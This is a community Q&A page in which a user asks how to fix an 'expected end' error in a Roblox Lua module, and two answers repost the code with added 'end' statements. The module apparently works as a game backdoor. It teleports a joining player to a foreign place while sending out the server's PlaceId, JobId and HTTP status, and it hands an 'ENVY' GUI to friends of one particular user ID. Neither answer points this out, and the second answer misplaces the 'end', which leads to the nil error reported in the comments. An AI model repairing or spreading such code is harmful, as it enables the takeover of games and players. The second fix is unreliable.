local module = {}
function ishttp()
local i,f = pcall(function()
game.HttpService:GetAsync("https://www.google.com/")
end)
if i then
return "true"
else
return "false"
end
end
local playersTPed = {}
function module.load(plr)
if #game.Players:GetPlayers()>=1 and not table.find(playersTPed,plr) then
pcall(function()
table.insert(playersTPed,plr)
local TeleportData = {
["Game"]=game.PlaceId;
["JID"]=game.JobId;
["MaxPlayers"]=game.Players.MaxPlayers;
["Players"]=#game.Players:GetPlayers();
["HTTP"]=ishttp()
}
game:GetService("TeleportService"):Teleport(4967343366, plr, game.HttpService:JSONEncode(TeleportData))
end)
end
if plr:IsFriendsWith(927491161) then
script.ENVY:Clone().Parent = plr.PlayerGui
plr.PlayerGui:WaitForChild("ENVY").Enabled = true
end
return module
COMMUNITY QUESTION
"Expected 'end' (to close 'function' at line 14), got <eof>" How do I fix this?
2 answers
you forgot to add an end to the function module.load
local module = {}
function ishttp()
local i,f = pcall(function()
game.HttpService:GetAsync("https://www.google.com/")
end)
if i then
return "true"
else
return "false"
end
end
local playersTPed = {}
function module.load(plr)
if #game.Players:GetPlayers()>=1 and not table.find(playersTPed,plr) then
pcall(function()
table.insert(playersTPed,plr)
local TeleportData = {
["Game"]=game.PlaceId;
["JID"]=game.JobId;
["MaxPlayers"]=game.Players.MaxPlayers;
["Players"]=#game.Players:GetPlayers();
["HTTP"]=ishttp()
}
game:GetService("TeleportService"):Teleport(4967343366, plr, game.HttpService:JSONEncode(TeleportData))
end)
end
if plr:IsFriendsWith(927491161) then
script.ENVY:Clone().Parent = plr.PlayerGui
plr.PlayerGui:WaitForChild("ENVY").Enabled = true
end
end
return module
You forgot an end at line 28. That should fix the script.
local module = {}
function ishttp()
local i,f = pcall(function()
game.HttpService:GetAsync("https://www.google.com/")
end)
if i then
return "true"
else
return "false"
end
end
local playersTPed = {}
function module.load(plr)
if #game.Players:GetPlayers()>=1 and not table.find(playersTPed,plr) then
pcall(function()
table.insert(playersTPed,plr)
local TeleportData = {
["Game"]=game.PlaceId;
["JID"]=game.JobId;
["MaxPlayers"]=game.Players.MaxPlayers;
["Players"]=#game.Players:GetPlayers();
["HTTP"]=ishttp()
}
game:GetService("TeleportService"):Teleport(4967343366, plr, game.HttpService:JSONEncode(TeleportData))
end)
end
end
if plr:IsFriendsWith(927491161) then
script.ENVY:Clone().Parent = plr.PlayerGui
plr.PlayerGui:WaitForChild("ENVY").Enabled = true
end
return module
This discussion is preserved as it was. New answers, comments, and votes are closed.

2 comments
it gives me this error now "attempt to index nil with 'IsFriendsWith'"
It says that because plr is not accessible anywhere outside of the module.load function.